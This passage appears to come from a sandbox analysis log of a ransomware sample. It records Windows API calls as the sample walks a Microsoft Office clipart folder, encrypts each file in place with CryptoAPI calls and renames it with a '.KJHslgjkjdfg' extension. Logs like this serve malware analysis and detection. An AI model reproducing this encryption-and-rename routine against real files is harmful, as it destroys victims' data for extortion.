lpNumberOfBytesRead=0x29df27c*=0xc6d2, lpOverlapped=0x0) returned 1 [0200.706] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc6e0, dwBufLen=0xc6e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc6e0) returned 1 [0200.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.707] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc6e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc6e0, lpOverlapped=0x0) returned 1 [0200.707] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.707] SetEndOfFile (hFile=0x130) returned 1 [0200.710] GetProcessHeap () returned 0x990000 [0200.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.710] GetProcessHeap () returned 0x990000 [0200.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.kjhslgjkjdfg")) returned 1 [0200.711] CloseHandle (hObject=0x130) returned 1 [0200.711] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0200.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.712] GetProcessHeap () returned 0x990000 [0200.712] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.712] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.713] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.713] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.713] GetProcessHeap () returned 0x990000 [0200.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.713] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.713] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.713] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.715] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.715] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.715] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.715] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.715] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcd10, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcd10, lpOverlapped=0x0) returned 1 [0200.716] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcd10, dwBufLen=0xcd10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcd10) returned 1 [0200.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.717] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcd10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcd10, lpOverlapped=0x0) returned 1 [0200.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.717] SetEndOfFile (hFile=0x130) returned 1 [0200.720] GetProcessHeap () returned 0x990000 [0200.720] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.720] GetProcessHeap () returned 0x990000 [0200.720] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.kjhslgjkjdfg")) returned 1 [0200.722] CloseHandle (hObject=0x130) returned 1 [0200.722] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0200.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.724] GetProcessHeap () returned 0x990000 [0200.724] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.724] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.724] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.726] GetProcessHeap () returned 0x990000 [0200.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.726] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.727] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.727] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.727] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa80c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa80c, lpOverlapped=0x0) returned 1 [0200.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa810, dwBufLen=0xa810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa810) returned 1 [0200.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.729] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa810, lpOverlapped=0x0) returned 1 [0200.729] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.729] SetEndOfFile (hFile=0x130) returned 1 [0200.732] GetProcessHeap () returned 0x990000 [0200.732] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.732] GetProcessHeap () returned 0x990000 [0200.732] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.732] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287415.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287415.wmf.kjhslgjkjdfg")) returned 1 [0200.733] CloseHandle (hObject=0x130) returned 1 [0200.733] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd6bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287417.WMF", cAlternateFileName="")) returned 1 [0200.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.734] GetProcessHeap () returned 0x990000 [0200.734] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.734] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.734] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.736] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.736] GetProcessHeap () returned 0x990000 [0200.736] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.736] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.736] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.736] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.736] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.736] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.737] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.737] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.737] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.737] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.737] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd6bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd6bc, lpOverlapped=0x0) returned 1 [0200.738] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd6c0, dwBufLen=0xd6c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd6c0) returned 1 [0200.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.739] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd6c0, lpOverlapped=0x0) returned 1 [0200.739] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.739] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.739] SetEndOfFile (hFile=0x130) returned 1 [0200.742] GetProcessHeap () returned 0x990000 [0200.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.742] GetProcessHeap () returned 0x990000 [0200.742] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.kjhslgjkjdfg")) returned 1 [0200.743] CloseHandle (hObject=0x130) returned 1 [0200.743] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0200.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.745] GetProcessHeap () returned 0x990000 [0200.745] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.745] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.745] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0200.747] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.747] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.748] GetProcessHeap () returned 0x990000 [0200.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.748] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.748] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.748] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.748] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.748] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.748] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.748] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.748] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.748] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x89a4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x89a4, lpOverlapped=0x0) returned 1 [0200.750] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x89b0, dwBufLen=0x89b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x89b0) returned 1 [0200.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.750] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x89b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x89b0, lpOverlapped=0x0) returned 1 [0200.750] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.750] SetEndOfFile (hFile=0x130) returned 1 [0200.753] GetProcessHeap () returned 0x990000 [0200.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.753] GetProcessHeap () returned 0x990000 [0200.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.kjhslgjkjdfg")) returned 1 [0200.754] CloseHandle (hObject=0x130) returned 1 [0200.754] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, 